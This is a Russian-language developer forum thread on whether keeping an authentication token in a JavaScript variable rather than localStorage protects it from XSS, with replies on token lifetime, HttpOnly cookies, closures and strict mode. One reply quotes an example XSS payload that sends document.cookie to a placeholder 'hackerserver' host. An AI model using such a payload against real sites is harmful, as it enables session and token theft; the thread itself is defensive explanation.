local storage vs переменная
От: Stalker. Австралия  
Дата: 07.02.19 00:06
Оценка:
Есть-ли принципиальная разница между хранением данных в local storage и переменной в коде? Требуется для хранения токена, стандартной рекомендацией является не хранить токены в local storage т.к. его можно увести XSS атакой, но если сохранить его в переменную (более точнее — экземпляр класса аутентификации, который имеет паблик проперти со значением токена, (typescript)) то можно-ли него украсть XSS атакой?
Re: local storage vs переменная
От: Doom100500 Израиль  
Дата: 07.02.19 07:28
Оценка:
Здравствуйте, Stalker., Вы писали:

S>Есть-ли принципиальная разница между хранением данных в local storage и переменной в коде? Требуется для хранения токена, стандартной рекомендацией является не хранить токены в local storage т.к. его можно увести XSS атакой, но если сохранить его в переменную (более точнее — экземпляр класса аутентификации, который имеет паблик проперти со значением токена, (typescript)) то можно-ли него украсть XSS атакой?


localStorage сохраняется между перезапусками браузера, а переменная уничтожится просто после перезагрузки страницы.

Чтобы увод токена не был проблемой ( его и из переменной можно увести, если что), то его время жизни должно быть маленьким. А потом использовать refresh token, шифрование, двухфацторная аутенфикация. Но эо отдельная тема.
Поищи в сети jwt handbook — это бесплатно.
Спасибо за внимание
Re[2]: local storage vs переменная
От: Stalker. Австралия  
Дата: 07.02.19 22:16
Оценка:
Здравствуйте, Doom100500, Вы писали:

D>Чтобы увод токена не был проблемой ( его и из переменной можно увести, если что), то его время жизни должно быть маленьким. А потом использовать refresh token, шифрование, двухфацторная аутенфикация. Но эо отдельная тема.

D>Поищи в сети jwt handbook — это бесплатно.

а есть где-нибудь почитать про то, как уводят данные из переменных, примеры таких атак или что-то подобное? Я представляю себе как работают токены, также в курсе, что лучшим способом будет хранить его в http only куке, так его украсть нельзя, но меня интересует именно насколько проблематичным является хранение данных в переменных
Re: local storage vs переменная
От: vsb Казахстан  
Дата: 07.02.19 22:46
Оценка: 9 (2)
Здравствуйте, Stalker., Вы писали:

S>Есть-ли принципиальная разница между хранением данных в local storage и переменной в коде?


localStorage сохраняется при закрытии страницы, а также общий на все открытые вкладки.

S> Требуется для хранения токена, стандартной рекомендацией является не хранить токены в local storage т.к. его можно увести XSS атакой, но если сохранить его в переменную (более точнее — экземпляр класса аутентификации, который имеет паблик проперти со значением токена, (typescript)) то можно-ли него украсть XSS атакой?


Можно.

S>а есть где-нибудь почитать про то, как уводят данные из переменных, примеры таких атак или что-то подобное? Я представляю себе как работают токены, также в курсе, что лучшим способом будет хранить его в http only куке, так его украсть нельзя, но меня интересует именно насколько проблематичным является хранение данных в переменных


XSS это когда юзер выполняет твой JavaScript в своём браузере. Например если я напишу <script>document.write("<img src='http://hackerserver/'" + document.cookie)</script>, и сайт не заэкранирует эту строку, то все куки юзера утекут на http://hackerserver. Вместо document.cookie можно написать что угодно, например localStorage.get('token') или globalTokenVariable. Всё, к чему может дотянуться JavaScript, уязвимо к XSS. Вероятно можно использовать какие-то технологии, при которых твой код при инициализации получает ссылки на объекты и в дальнейшем держит их во всяческих замыканиях, но снаружи к этим объектам никакого доступа нет. Простой пример:

[code=javascript]
(function() {
var token = null;
// код приложения
})();
[/code]

В этом примере переменная token захвачена анонимной функцией и вроде бы к ней доступа не получить. Но если вдруг у тебя нечаянно утечёт глобальная переменная, то будет уязвимость. А в JavaScript это легко. Достаточно написать headers = { 'X-Token': token } вместо var headers = { 'X-Token': token } и у тебя появилась глобальная переменная, в которой лежит токен.

При этом надо понимать, что само по себе это не уязвимость. Это просто не совсем хороший код, который можно проэксплуатировать если на сайте найдётся другая XSS-уязвимость.
Re[2]: local storage vs переменная
От: Mystic Artifact  
Дата: 10.04.19 02:30
Оценка:
Здравствуйте, vsb, Вы писали:

vsb>Достаточно написать headers = { 'X-Token': token } вместо var headers = { 'X-Token': token } и у тебя появилась глобальная переменная, в которой лежит токен.

Так то ты прав, но всё же strict mode спасает от таких ляпов, ну и он рекомендован к использованию давненько... а в es6-модулях он включен по умолчанию/принудительно.
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.